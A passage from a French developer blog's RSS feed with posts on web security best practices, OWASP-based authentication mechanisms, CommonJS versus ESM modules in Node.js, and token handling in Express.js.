&lt;li&gt;Secrets hors du code source&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Authentification cassée&lt;/h2&gt;
&lt;h3&gt;Vulnérabilités courantes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Mots de passe faibles&lt;/li&gt;
&lt;li&gt;Pas de limitation de tentatives&lt;/li&gt;
&lt;li&gt;Sessions infinies&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hash fort (bcrypt, argon2)&lt;/li&gt;
&lt;li&gt;MFA si possible&lt;/li&gt;
&lt;li&gt;Politique de mots de passe&lt;/li&gt;
&lt;li&gt;Verrouillage temporaire&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-php"&gt;password_hash($password, PASSWORD_ARGON2ID);&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;9. JWT et tokens&lt;/h2&gt;
&lt;h3&gt;Erreurs fréquentes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;JWT sans expiration&lt;/li&gt;
&lt;li&gt;Secret faible&lt;/li&gt;
&lt;li&gt;Données sensibles dans le payload&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Champs obligatoires : &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;iat&lt;/code&gt;, &lt;code&gt;iss&lt;/code&gt;, &lt;code&gt;aud&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Signature asymétrique (RS256)&lt;/li&gt;
&lt;li&gt;Tokens courts + refresh tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;10. CSRF – Cross-Site Request Forgery&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Un utilisateur authentifié exécute une action sans le vouloir.&lt;/p&gt;
&lt;h3&gt;Contremesures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tokens CSRF&lt;/li&gt;
&lt;li&gt;Cookies &lt;code&gt;SameSite=Strict&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;APIs stateless avec header Authorization&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;11. Sécurité des API REST&lt;/h2&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS obligatoire&lt;/li&gt;
&lt;li&gt;Authentification sur toutes les routes&lt;/li&gt;
&lt;li&gt;Rate limiting&lt;/li&gt;
&lt;li&gt;Pagination&lt;/li&gt;
&lt;li&gt;Validation stricte des entrées&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-http"&gt;HTTP/1.1 429 Too Many Requests&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;12. Sécurité des bases de données&lt;/h2&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compte DB non-root&lt;/li&gt;
&lt;li&gt;Droits minimaux&lt;/li&gt;
&lt;li&gt;Séparation lecture / écriture&lt;/li&gt;
&lt;li&gt;Sauvegardes chiffrées&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Chiffrement&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Données sensibles chiffrées&lt;/li&gt;
&lt;li&gt;Clés stockées hors application&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;13. Logs et monitoring&lt;/h2&gt;
&lt;h3&gt;Importance&lt;/h3&gt;
&lt;p&gt;Une attaque non détectée est une attaque réussie.&lt;/p&gt;
&lt;h3&gt;À journaliser&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Échecs d’authentification&lt;/li&gt;
&lt;li&gt;Accès refusés&lt;/li&gt;
&lt;li&gt;Actions sensibles&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ Ne jamais loguer :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mots de passe&lt;/li&gt;
&lt;li&gt;Tokens&lt;/li&gt;
&lt;li&gt;Données personnelles&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;14. Sécurité du frontend&lt;/h2&gt;
&lt;h3&gt;Réalités&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Code visible&lt;/li&gt;
&lt;li&gt;API exposée&lt;/li&gt;
&lt;li&gt;Attaques automatisées&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Aucun secret côté frontend&lt;/li&gt;
&lt;li&gt;CSP stricte&lt;/li&gt;
&lt;li&gt;Validation UX ≠ validation sécurité&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;15. Sécurité par conception (Secure by Design)&lt;/h2&gt;
&lt;h3&gt;Principes fondamentaux&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Least Privilege&lt;/li&gt;
&lt;li&gt;Fail Secure&lt;/li&gt;
&lt;li&gt;Defense in Depth&lt;/li&gt;
&lt;li&gt;Zero Trust&lt;/li&gt;
&lt;li&gt;Secure Defaults&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;16. Checklist de sécurité&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] HTTPS partout&lt;/li&gt;
&lt;li&gt;[ ] Authentification forte&lt;/li&gt;
&lt;li&gt;[ ] Autorisation systématique&lt;/li&gt;
&lt;li&gt;[ ] Requêtes préparées&lt;/li&gt;
&lt;li&gt;[ ] Logs et alertes&lt;/li&gt;
&lt;li&gt;[ ] Dépendances à jour&lt;/li&gt;
&lt;li&gt;[ ] Tests de sécurité&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;17. Pour aller plus loin&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;OWASP ASVS&lt;/li&gt;
&lt;li&gt;OWASP Cheat Sheets&lt;/li&gt;
&lt;li&gt;Threat Modeling (STRIDE)&lt;/li&gt;
&lt;li&gt;SAST / DAST&lt;/li&gt;
&lt;li&gt;Pentests réguliers&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;La sécurité n’est pas un état, mais un processus continu.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <pubDate>Sun, 18 Jan 2026 16:56:36 +0100</pubDate>
      <guid isPermaLink="false">4eb169bf3c1f6c6f441413000afd1318</guid>
    </item>
    <item>
      <title>Guide des mécanismes d’authentification dans les applications Web modernes</title>
      <link>https://www.oliv134.net/guide-des-m%C3%A9canismes-d%E2%80%99authentification-dans-les-applications-web-modernes</link>
      <image/>
      <description>&lt;p&gt;Ce document présente les mécanismes d’authentification utilisés dans les applications web modernes, leurs avantages, inconvénients, domaines d’usage, ainsi que les bonnes pratiques de sécurité issues des recommandations de l’OWASP et des standards actuels.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Qu’est-ce que l’OWASP ?&lt;/h2&gt;
&lt;h3&gt;Présentation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;OWASP&lt;/strong&gt; (Open Worldwide Application Security Project) est une organisation internationale à but non lucratif dédiée à l’amélioration de la sécurité des applications web et logicielles.&lt;/p&gt;
&lt;p&gt;Elle fournit :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;des guides de bonnes pratiques,&lt;/li&gt;
&lt;li&gt;des standards de sécurité,&lt;/li&gt;
&lt;li&gt;des outils open source,&lt;/li&gt;
&lt;li&gt;des référentiels reconnus mondialement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L’OWASP est indépendante des éditeurs et des technologies, ce qui rend ses recommandations largement adoptées dans l’industrie.&lt;/p&gt;
&lt;h3&gt;OWASP Top 10&lt;/h3&gt;
&lt;p&gt;Le document le plus connu est le &lt;strong&gt;OWASP Top 10&lt;/strong&gt;, qui recense les dix catégories de vulnérabilités les plus critiques. Plusieurs concernent directement l’authentification et la gestion des identités, notamment :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authentification défaillante,&lt;/li&gt;
&lt;li&gt;Mauvaise gestion des sessions,&lt;/li&gt;
&lt;li&gt;Contrôles d’accès cassés,&lt;/li&gt;
&lt;li&gt;Exposition de données sensibles.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Principe fondamental OWASP&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Le client (navigateur, SPA, application mobile) ne doit jamais être considéré comme fiable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Toute logique de sécurité doit être implémentée et validée côté serveur.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Concepts fondamentaux&lt;/h2&gt;
&lt;h3&gt;Authentification vs autorisation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;L’authentification&lt;/strong&gt; consiste à vérifier l’identité d’un utilisateur ou d’un système.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;L’autorisation&lt;/strong&gt; consiste à vérifier ce que cet utilisateur ou système est autorisé à faire.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une application sécurisée doit traiter ces deux notions séparément.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Authentification par session et cookies (Web traditionnel)&lt;/h2&gt;
&lt;h3&gt;Principe&lt;/h3&gt;
&lt;p&gt;Après la saisie d’un identifiant et d’un mot de passe, le serveur crée une session et transmet un identifiant de session au navigateur via un cookie HTTP.&lt;br /&gt;
Le navigateur renvoie automatiquement ce cookie à chaque requête suivante.&lt;/p&gt;
&lt;h3&gt;Avantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Mécanisme simple et éprouvé,&lt;/li&gt;
&lt;li&gt;Excellente intégration avec les navigateurs,&lt;/li&gt;
&lt;li&gt;Contrôle total côté serveur,&lt;/li&gt;
&lt;li&gt;Facile à mettre en œuvre dans les applications web traditionnelles.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Inconvénients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Peu adapté aux API REST,&lt;/li&gt;
&lt;li&gt;Scalabilité plus complexe en environnement distribué,&lt;/li&gt;
&lt;li&gt;Fortement couplé au navigateur.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sécurité (OWASP)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Protection contre les attaques CSRF obligatoire,&lt;/li&gt;
&lt;li&gt;Cookies configurés avec &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt; et &lt;code&gt;SameSite&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Invalidation systématique des sessions à la déconnexion.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Authentification HTTP Basic&lt;/h2&gt;
&lt;h3&gt;Principe&lt;/h3&gt;
&lt;p&gt;Les identifiants sont envoyés à chaque requête HTTP via l’en-tête &lt;code&gt;Authorization&lt;/code&gt;, encodés en Base64.&lt;/p&gt;
&lt;h3&gt;Avantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Très simple à implémenter,&lt;/li&gt;
&lt;li&gt;Supporté nativement par HTTP,&lt;/li&gt;
&lt;li&gt;Utile pour des tests ou des usages temporaires.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Inconvénients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Aucun mécanisme de session,&lt;/li&gt;
&lt;li&gt;Le mot de passe est transmis à chaque requête,&lt;/li&gt;
&lt;li&gt;Sécurité entièrement dépendante de HTTPS.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Recommandation&lt;/h3&gt;
&lt;p&gt;Cette méthode est déconseillée en production pour des utilisateurs finaux.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. JWT (JSON Web Token)&lt;/h2&gt;
&lt;h3&gt;Principe&lt;/h3&gt;
&lt;p&gt;Le serveur délivre un token signé contenant des informations appelées &lt;em&gt;claims&lt;/em&gt;.&lt;br /&gt;
Le token est auto-contenu et peut être vérifié sans accès à une base de données.&lt;/p&gt;
&lt;h3&gt;Avantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Stateless,&lt;/li&gt;
&lt;li&gt;Très scalable,&lt;/li&gt;
&lt;li&gt;Compatible avec SPA, applications mobiles et microservices,&lt;/li&gt;
&lt;li&gt;Standard largement adopté.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Inconvénients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Révocation complexe,&lt;/li&gt;
&lt;li&gt;Risques importants en cas de mauvaise implémentation,&lt;/li&gt;
&lt;li&gt;Sécurité fortement dépendante du mode de stockage côté client.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Recommandations OWASP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Ne jamais stocker un JWT dans &lt;code&gt;localStorage&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Préférer les cookies &lt;code&gt;HttpOnly&lt;/code&gt; côté navigateur,&lt;/li&gt;
&lt;li&gt;Utiliser des tokens de courte durée,&lt;/li&gt;
&lt;li&gt;Mettre en place des refresh tokens,&lt;/li&gt;
&lt;li&gt;Ne jamais stocker de données sensibles dans le token.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Authentification par token opaque&lt;/h2&gt;
&lt;h3&gt;Principe&lt;/h3&gt;
&lt;p&gt;Le serveur génère un token aléatoire sans signification intrinsèque.&lt;br /&gt;
Ce token est stocké côté serveur et vérifié à chaque requête.&lt;/p&gt;
&lt;h3&gt;Avantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Révocation simple,&lt;/li&gt;
&lt;li&gt;Aucune donnée exposée côté client,&lt;/li&gt;
&lt;li&gt;Plus sûr que les JWT dans certains contextes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Inconvénients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Vérification serveur nécessaire à chaque requête,&lt;/li&gt;
&lt;li&gt;Moins performant que les JWT à très grande échelle.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Cas d’usage : authentification dans une SPA (frontend)&lt;/h2&gt;
&lt;h3&gt;Problématique&lt;/h3&gt;
&lt;p&gt;Une application frontend (React, Vue, Angular, etc.) ne peut pas protéger un secret.&lt;br /&gt;
Tout code exécuté côté client est potentiellement accessible ou modifiable.&lt;/p&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Authentification réalisée via une API backend,&lt;/li&gt;
&lt;li&gt;Stockage du token :
&lt;ul&gt;
&lt;li&gt;Cookie &lt;code&gt;HttpOnly&lt;/code&gt; (recommandé),&lt;/li&gt;
&lt;li&gt;Mémoire volatile (state JavaScript),&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Protection contre les attaques XSS, CSRF et le rejeu de tokens.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reco&lt;/h3&gt;</description>
      <pubDate>Sun, 18 Jan 2026 16:48:09 +0100</pubDate>
      <guid isPermaLink="false">4e10310ea1aa8ad6331be67b1bf09836</guid>
    </item>
    <item>
      <title>CommonJS vs ECMAScript (ESM)</title>
      <link>https://www.oliv134.net/test</link>
      <image/>
      <description>&lt;h1&gt;📘 Comprendre les fichiers .mjs dans Node.js&lt;/h1&gt;
&lt;h2&gt;🧩 1. &lt;code&gt;.mjs&lt;/code&gt;, c’est quoi ?&lt;/h2&gt;
&lt;p&gt;Un fichier &lt;code&gt;.mjs&lt;/code&gt; est un &lt;strong&gt;module ECMAScript&lt;/strong&gt; — c’est-à-dire un fichier JavaScript utilisant la &lt;strong&gt;syntaxe moderne des imports et exports&lt;/strong&gt;, comme celle des navigateurs.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;// fichier.mjs
import express from "express";
import { maFonction } from "./utils.mjs";

export const app = express();&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 L’extension &lt;code&gt;.mjs&lt;/code&gt; indique à Node.js que le fichier doit être interprété en &lt;strong&gt;mode ESM (ECMAScript Module)&lt;/strong&gt;&lt;br /&gt;
et &lt;strong&gt;non en CommonJS&lt;/strong&gt; (le système historique de Node).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;⚙️ 2. Contexte historique&lt;/h2&gt;
&lt;p&gt;Avant 2020, Node.js utilisait uniquement le système &lt;strong&gt;CommonJS&lt;/strong&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const express = require("express");
module.exports = app;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mais depuis Node.js 14+, il supporte aussi les &lt;strong&gt;modules ECMAScript&lt;/strong&gt; (mêmes modules que les navigateurs).&lt;/p&gt;
&lt;p&gt;Pour éviter toute ambiguïté, Node a introduit une distinction stricte entre :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.js&lt;/code&gt; (fichiers interprétés comme CommonJS &lt;strong&gt;par défaut&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.mjs&lt;/code&gt; (fichiers interprétés comme modules ECMAScript)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;⚙️ 3. Les deux systèmes de modules&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;CommonJS (&lt;code&gt;.js&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;ESM (&lt;code&gt;.mjs&lt;/code&gt; ou &lt;code&gt;type: "module"&lt;/code&gt;)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Importation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;const X = require("x")&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;import X from "x"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exportation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.exports = X&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export default X&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chargement&lt;/td&gt;
&lt;td&gt;Synchrone&lt;/td&gt;
&lt;td&gt;Asynchrone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scope&lt;/td&gt;
&lt;td&gt;Global par fichier&lt;/td&gt;
&lt;td&gt;Strict (par module)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compatibilité historique&lt;/td&gt;
&lt;td&gt;✅ Node.js classique&lt;/td&gt;
&lt;td&gt;✅ Node 14+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Syntaxe moderne&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;🧠 4. Exemple comparatif&lt;/h2&gt;
&lt;h3&gt;🟠 CommonJS (&lt;code&gt;.js&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;// utils.js
const sum = (a, b) =&amp;gt; a + b;
module.exports = { sum };

// app.js
const { sum } = require("./utils.js");
console.log(sum(2, 3));&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;🔵 ECMAScript (&lt;code&gt;.mjs&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;// utils.mjs
export function sum(a, b) {
  return a + b;
}

// app.mjs
import { sum } from "./utils.mjs";
console.log(sum(2, 3));&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;🧩 5. Et si je veux rester en &lt;code&gt;.js&lt;/code&gt; ?&lt;/h2&gt;
&lt;p&gt;Tu peux utiliser la syntaxe &lt;code&gt;import/export&lt;/code&gt; &lt;strong&gt;sans passer en &lt;code&gt;.mjs&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;
en ajoutant ce paramètre dans ton &lt;code&gt;package.json&lt;/code&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;{
  "type": "module"
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;➡️ Dans ce cas, &lt;strong&gt;tous les fichiers &lt;code&gt;.js&lt;/code&gt;&lt;/strong&gt; du projet sont interprétés comme des &lt;strong&gt;modules ESM&lt;/strong&gt;.&lt;br /&gt;
Tu n’as donc plus besoin de &lt;code&gt;.mjs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;⚠️ Mais attention :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tu ne pourras plus utiliser &lt;code&gt;require()&lt;/code&gt; ni &lt;code&gt;module.exports&lt;/code&gt; directement.&lt;/li&gt;
&lt;li&gt;Tu devras tout passer en &lt;code&gt;import/export&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;🧱 6. Quand utiliser &lt;code&gt;.mjs&lt;/code&gt; plutôt que &lt;code&gt;.js&lt;/code&gt; ?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Recommandation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Petit projet Node classique (Express, Mongo, etc.)&lt;/td&gt;
&lt;td&gt;✅ Reste en &lt;code&gt;.js&lt;/code&gt; (CommonJS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Projet moderne, TypeScript, ou compatible navigateur&lt;/td&gt;
&lt;td&gt;✅ Utilise &lt;code&gt;.mjs&lt;/code&gt; ou &lt;code&gt;"type": "module"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tu veux mélanger les deux systèmes&lt;/td&gt;
&lt;td&gt;⚠️ Possible mais à éviter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Librairie NPM moderne à publier&lt;/td&gt;
&lt;td&gt;✅ &lt;code&gt;.mjs&lt;/code&gt; recommandé pour compatibilité ESM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;🧩 7. Mélanger CommonJS et ESM (cas avancé)&lt;/h2&gt;
&lt;p&gt;Il est &lt;strong&gt;possible&lt;/strong&gt; de mélanger les deux, mais c’est souvent source de confusion.&lt;/p&gt;
&lt;p&gt;Exemple :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;main.mjs&lt;/code&gt; (ESM) peut importer du CommonJS :
&lt;pre&gt;&lt;code class="language-js"&gt;import pkg from "./legacy.js";&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;legacy.js&lt;/code&gt; (CommonJS) peut importer un ESM avec &lt;code&gt;import()&lt;/code&gt; dynamique :
&lt;pre&gt;&lt;code class="language-js"&gt;const module = await import("./modern.mjs");&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mais cela complique la maintenance : le mieux est de &lt;strong&gt;choisir un seul style&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;✅ 8. En résumé&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Élément&lt;/th&gt;
&lt;th&gt;&lt;code&gt;.js&lt;/code&gt; (CommonJS)&lt;/th&gt;
&lt;th&gt;&lt;code&gt;.mjs&lt;/code&gt; (ESM)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Import&lt;/td&gt;
&lt;td&gt;&lt;code&gt;require()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;import&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Export&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.exports&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Système&lt;/td&gt;
&lt;td&gt;Ancien (Node)&lt;/td&gt;
&lt;td&gt;Standard ECMAScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compatibilité&lt;/td&gt;
&lt;td&gt;Universelle&lt;/td&gt;
&lt;td&gt;Moderne&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Recommandé en 2025&lt;/td&gt;
&lt;td&gt;⚙️ pour rétrocompatibilité&lt;/td&gt;
&lt;td&gt;🟢 pour les projets modernes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 En clair :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.js&lt;/code&gt; = modules CommonJS (&lt;code&gt;require&lt;/code&gt;, &lt;code&gt;module.exports&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.mjs&lt;/code&gt; = modules ECMAScript (&lt;code&gt;import&lt;/code&gt;, &lt;code&gt;export&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Tu peux aussi garder &lt;code&gt;.js&lt;/code&gt; et déclarer &lt;code&gt;"type": "module"&lt;/code&gt; dans ton &lt;code&gt;package.json&lt;/code&gt; si tu veux la syntaxe moderne partout.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;</description>
      <pubDate>Fri, 05 Dec 2025 19:07:10 +0100</pubDate>
      <guid isPermaLink="false">083f998aa6746d8972d3b709a5016b42</guid>
    </item>
    <item>
      <title>VIM</title>
      <link>https://www.oliv134.net/vim</link>
      <image/>
      <description>&lt;p&gt;&lt;a href="https://www.vim-hero.com/"&gt;https://www.vim-hero.com/&lt;/a&gt;
&lt;a href="https://vim-adventures.com/"&gt;https://vim-adventures.com/&lt;/a&gt;&lt;/p&gt;</description>
      <pubDate>Sun, 23 Nov 2025 17:58:02 +0100</pubDate>
      <guid isPermaLink="false">84dd1af183fabca09f0ed59d43e44c89</guid>
    </item>
    <item>
      <title>404</title>
      <link>https://www.oliv134.net/404</link>
      <image/>
      <description>&lt;p&gt;Not Found&lt;/p&gt;</description>
      <pubDate>Sun, 26 Oct 2025 18:45:58 +0100</pubDate>
      <guid isPermaLink="false">193bb391db616214f93b3181fb2e0a50</guid>
    </item>
    <item>
      <title>Guide complet — Gestion des Tokens sous Express.js</title>
      <link>https://www.oliv134.net/token</link>
      <image/>
      <description>&lt;h2&gt;1. Introduction aux Tokens&lt;/h2&gt;
&lt;p&gt;Dans Express.js, un &lt;strong&gt;token&lt;/strong&gt; est une preuve d’identité permettant d’autoriser un utilisateur ou un service à accéder à des ressources protégées.&lt;/p&gt;
&lt;p&gt;Le serveur émet un token après authentification, puis le client l’envoie à chaque requête (souvent dans le header &lt;code&gt;Authorization&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Les tokens remplacent les sessions classiques (cookies de session) dans les architectures modernes d’API REST ou microservices.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Les différentes approches modernes&lt;/h2&gt;
&lt;h3&gt;A. JWT (JSON Web Token)&lt;/h3&gt;
&lt;p&gt;Un &lt;strong&gt;JWT&lt;/strong&gt; est un jeton auto-contenu, signé par le serveur, qui contient des informations encodées (&lt;code&gt;sub&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;role&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bibliothèques modernes :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/jose"&gt;&lt;code&gt;jose&lt;/code&gt;&lt;/a&gt; (recommandée, moderne, conforme RFC)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/jsonwebtoken"&gt;&lt;code&gt;jsonwebtoken&lt;/code&gt;&lt;/a&gt; (ancienne)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Structure d’un JWT :&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;header.payload.signature&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Avantages :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pas de stockage côté serveur.&lt;/li&gt;
&lt;li&gt;Vérification rapide (signature HMAC ou RSA).&lt;/li&gt;
&lt;li&gt;Standard international.&lt;/li&gt;
&lt;/ul&gt;
